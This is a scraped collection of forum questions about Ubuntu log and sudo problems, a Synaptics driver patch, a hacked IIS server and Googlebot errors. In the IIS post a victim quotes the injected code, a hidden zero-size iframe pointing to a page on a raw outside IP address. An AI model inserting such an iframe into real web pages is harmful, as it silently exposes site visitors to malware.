Thanx, Laurie Ann

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• cups log kills ubuntu 12.04 and sudoer permissions changed

  - by peterretief

  I am using Ubuntu 12.04 as a desktop and recently had a weird crash with the log file for cups filling up the entire drive and not letting me back in, also what changed was /var/lib/sudo had changed from root to peter (me) I didn't make this change - I checked the history! I set the sudoers back to root and capped the max size for cups log Anyone had a similar experience? It feels like someone is messing around with my settings Is there any way to trace how the error occurred? Logs auth.log Jan 1 02:04:13 peter-desktop lightdm: pam_unix(lightdm:session): session opened for user lightdm by (uid=0) Jan 1 02:04:13 peter-desktop lightdm: pam_ck_connector(lightdm:session): nox11 mode, ignoring PAM_TTY :0 Jan 1 02:06:53 peter-desktop lightdm: pam_unix(lightdm:session): session opened for user lightdm by (uid=0) Jan 1 02:06:53 peter-desktop lightdm: pam_ck_connector(lightdm:session): nox11 mode, ignoring PAM_TTY :0 syslog Jan 1 02:04:13 peter-desktop rsyslogd: [origin software="rsyslogd" swVersion="5.8.6" x-pid="903" x-info="http://www.rsyslog.com"] start Jan 1 02:04:13 peter-desktop rsyslogd: rsyslogd's groupid changed to 103 Jan 1 02:04:13 peter-desktop rsyslogd: rsyslogd's userid changed to 101 Jan 1 02:04:13 peter-desktop rsyslogd-2039: Could not open output pipe '/dev/xconsole' [try http://www.rsyslog.com/e/2039 ] Jan 1 02:04:13 peter-desktop bluetoothd[898]: Failed to init gatt_example plugin Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] Initializing cgroup subsys cpuset Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] Initializing cgroup subsys cpu Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] Linux version 3.2.0-25-generic-pae (buildd@palmer) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #40-Ubuntu SMP Wed May 23 22:11:24 UTC 2012 (Ubuntu 3.2.0-25.40-generic-pae 3.2.18) Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] KERNEL supported cpus: Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] Intel GenuineIntel Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] AMD AuthenticAMD Jan 1 02:04:13 peter-desktop kernel: [ 0.000000] NSC Geode by NSC

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• Patching Synaptics Driver In Ubuntu

  - by danben

  I've got an HP Envy with the new Synaptics Clickpad - the device is not supported out of the box by Ubuntu, so I downloaded this patch (https://patchwork.kernel.org/patch/67335/), applied it to synaptics.c in the linux kernel source, rebuilt the kernel and booted from it. Nothing changed. I'm new to Linux and don't know much about driver configuration; how can I check that the newly-produced synaptics.o file is actually being used somewhere? Or if it is obvious, what step did I leave out? Separately, I tried following the instructions in this thread: http://georgia.ubuntuforums.org/showpost.php?p=8989185&postcount=11 There, someone posted the patch along with a Makefile and instructions for installation. When I followed those, my mouse stopped working altogether. Not desirable, but at least I know it had some effect. The Makefile is posted below; I get the gist of what it's doing, but don't have enough knowledge to figure out why it would cause the device to stop responding entirely. obj-m := psmouse.o psmouse-objs := psmouse-base.o synaptics.o psmouse-$(CONFIG_MOUSE_PS2_ALPS) += alps.o psmouse-$(CONFIG_MOUSE_PS2_ELANTECH) += elantech.o psmouse-$(CONFIG_MOUSE_PS2_OLPC) += hgpk.o psmouse-$(CONFIG_MOUSE_PS2_LOGIPS2PP) += logips2pp.o psmouse-$(CONFIG_MOUSE_PS2_LIFEBOOK) += lifebook.o psmouse-$(CONFIG_MOUSE_PS2_TRACKPOINT) += trackpoint.o psmouse-$(CONFIG_MOUSE_PS2_TOUCHKIT) += touchkit_ps2.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules install: @cp psmouse.ko /lib/modules/$(shell uname -r)/kernel/drivers/input/mouse/

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• IIS 7 Serving all pages with an injected iframe [closed]

  - by Andre Carlucci

  Possible Duplicate: My server's been hacked EMERGENCY My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag. The code is like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Please, I'm trying to find the source of this for hours now, any help would be really appreciated. EDIT: Hey, why was this closed? I'm very interested to know how that be done in IIS instead of simply re-installing everything. Andre

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• Googlebot repeatedly looks for files that aren't on my server

  - by John at CashCommons

  I'm hosting a site for a volunteer organization. I've moved the site to WordPress, but it wasn't always that way. I suspect at one point it was hacked badly. My Apache error log file has grown to 122 kB in just the past 18 hours. The large majority of the errors logged are of this form -- it's repeated hundreds of times today alone in my log files: [Mon Nov 12 18:29:27 2012] [error] [client xx.xxx.xx.xxx] File does not exist: /home/*******/public_html/*******.org/calendar.php [Mon Nov 12 18:29:27 2012] [error] [client xx.xxx.xx.xxx] File does not exist: /home/*******/public_html/*******.org/404.shtml (I verified that xx.xxx.xx.xxx was a Google server.) I suspect there was a security hole somewhere before, likely in calendar.php, that was exploited. The files don't exist anymore, but there may be many backlinks that exist that reference here, hence why googlebot is so interested in crawling them. How do I fix this gracefully? I still would like Google to index the site. I just want to tell it somehow not to look for these files anymore.

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